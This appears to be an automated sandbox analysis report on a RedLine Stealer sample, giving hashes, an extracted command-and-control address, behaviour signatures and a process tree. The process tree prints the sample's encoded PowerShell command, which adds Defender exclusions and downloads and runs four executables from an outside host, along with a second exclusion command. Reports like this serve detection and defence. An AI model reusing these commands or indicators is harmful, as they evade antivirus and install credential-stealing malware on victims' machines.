Analysis
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max time kernel
48s -
max time network
82s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:26
Static task
static1
Behavioral task
behavioral1
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win10v2004-20220901-en
General
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Target
17855519b9e1bde7cabf66a422b5671d4d462968.exe
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Size
365KB
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MD5
ee244310289c82ebe8c73cfd83329f49
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SHA1
17855519b9e1bde7cabf66a422b5671d4d462968
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SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
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SHA512
20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
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SSDEEP
6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3092-178-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3456 created 3068 3456 SmartDefRun.exe 57 PID 3456 created 3068 3456 SmartDefRun.exe 57 PID 3456 created 3068 3456 SmartDefRun.exe 57 PID 3456 created 3068 3456 SmartDefRun.exe 57 PID 3752 created 584 3752 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 17 3136 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1456 C4Loader.exe 2836 new2.exe 4184 SysApp.exe 3456 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4964 set thread context of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 2836 set thread context of 3092 2836 new2.exe 98 PID 3456 set thread context of 5060 3456 SmartDefRun.exe 121 PID 3752 set thread context of 2248 3752 powershell.EXE 126 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3472 sc.exe 1568 sc.exe 3968 sc.exe 2272 sc.exe 2864 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 396 4964 WerFault.exe 81 4744 2836 WerFault.exe 93 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 3136 powershell.exe 3136 powershell.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 4184 SysApp.exe 3092 vbc.exe 3456 SmartDefRun.exe 3456 SmartDefRun.exe 4284 powershell.exe 4284 powershell.exe 3456 SmartDefRun.exe 3456 SmartDefRun.exe 3456 SmartDefRun.exe 3456 SmartDefRun.exe 4580 powershell.exe 4580 powershell.exe 3456 SmartDefRun.exe 3456 SmartDefRun.exe 3752 powershell.EXE 4060 powershell.EXE 3752 powershell.EXE 4060 powershell.EXE 3752 powershell.EXE 2248 dllhost.exe 2248 dllhost.exe 2248 dllhost.exe 2248 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3136 powershell.exe Token: SeDebugPrivilege 3092 vbc.exe Token: SeDebugPrivilege 4284 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe Token: 34 4580 powershell.exe Token: 35 4580 powershell.exe Token: 36 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe Token: 34 4580 powershell.exe Token: 35 4580 powershell.exe Token: 36 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4964 wrote to memory of 1584 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 83 PID 4964 wrote to memory of 1584 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 83 PID 4964 wrote to memory of 1584 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 83 PID 4964 wrote to memory of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 4964 wrote to memory of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 4964 wrote to memory of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 4964 wrote to memory of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 4964 wrote to memory of 1324 4964 17855519b9e1bde7cabf66a422b5671d4d462968.exe 84 PID 1324 wrote to memory of 3136 1324 vbc.exe 87 PID 1324 wrote to memory of 3136 1324 vbc.exe 87 PID 1324 wrote to memory of 3136 1324 vbc.exe 87 PID 3136 wrote to memory of 1456 3136 powershell.exe 92 PID 3136 wrote to memory of 1456 3136 powershell.exe 92 PID 3136 wrote to memory of 1456 3136 powershell.exe 92 PID 3136 wrote to memory of 2836 3136 powershell.exe 93 PID 3136 wrote to memory of 2836 3136 powershell.exe 93 PID 3136 wrote to memory of 2836 3136 powershell.exe 93 PID 3136 wrote to memory of 4184 3136 powershell.exe 96 PID 3136 wrote to memory of 4184 3136 powershell.exe 96 PID 3136 wrote to memory of 4184 3136 powershell.exe 96 PID 3136 wrote to memory of 3456 3136 powershell.exe 97 PID 3136 wrote to memory of 3456 3136 powershell.exe 97 PID 2836 wrote to memory of 3092 2836 new2.exe 98 PID 2836 wrote to memory of 3092 2836 new2.exe 98 PID 2836 wrote to memory of 3092 2836 new2.exe 98 PID 2836 wrote to memory of 3092 2836 new2.exe 98 PID 2836 wrote to memory of 3092 2836 new2.exe 98 PID 3628 wrote to memory of 1568 3628 cmd.exe 111 PID 3628 wrote to memory of 1568 3628 cmd.exe 111 PID 3628 wrote to memory of 3968 3628 cmd.exe 112 PID 3628 wrote to memory of 3968 3628 cmd.exe 112 PID 3628 wrote to memory of 2272 3628 cmd.exe 113 PID 3628 wrote to memory of 2272 3628 cmd.exe 113 PID 3628 wrote to memory of 2864 3628 cmd.exe 114 PID 3628 wrote to memory of 2864 3628 cmd.exe 114 PID 3628 wrote to memory of 3472 3628 cmd.exe 115 PID 3628 wrote to memory of 3472 3628 cmd.exe 115 PID 3628 wrote to memory of 2104 3628 cmd.exe 116 PID 3628 wrote to memory of 2104 3628 cmd.exe 116 PID 3628 wrote to memory of 1924 3628 cmd.exe 117 PID 3628 wrote to memory of 1924 3628 cmd.exe 117 PID 3628 wrote to memory of 4832 3628 cmd.exe 118 PID 3628 wrote to memory of 4832 3628 cmd.exe 118 PID 3628 wrote to memory of 3248 3628 cmd.exe 119 PID 3628 wrote to memory of 3248 3628 cmd.exe 119 PID 3628 wrote to memory of 392 3628 cmd.exe 120 PID 3628 wrote to memory of 392 3628 cmd.exe 120 PID 3456 wrote to memory of 5060 3456 SmartDefRun.exe 121 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 3752 wrote to memory of 2248 3752 powershell.EXE 126 PID 2248 wrote to memory of 584 2248 dllhost.exe 5 PID 2248 wrote to memory of 652 2248 dllhost.exe 3 PID 2248 wrote to memory of 940 2248 dllhost.exe 11 PID 2248 wrote to memory of 1020 2248 dllhost.exe 10 PID 2248 wrote to memory of 436 2248 dllhost.exe 14 PID 2248 wrote to memory of 732 2248 dllhost.exe 16 PID 2248 wrote to memory of 712 2248 dllhost.exe 15
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:652
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:584
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2b88f8c1-8fdf-468d-a084-afdbb76dd534}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:732
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3068
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C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:1584
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1456
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3092
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 1566⤵
- Program crash
PID:4744
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4184
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3456
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 1483⤵
- Program crash
PID:396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4284
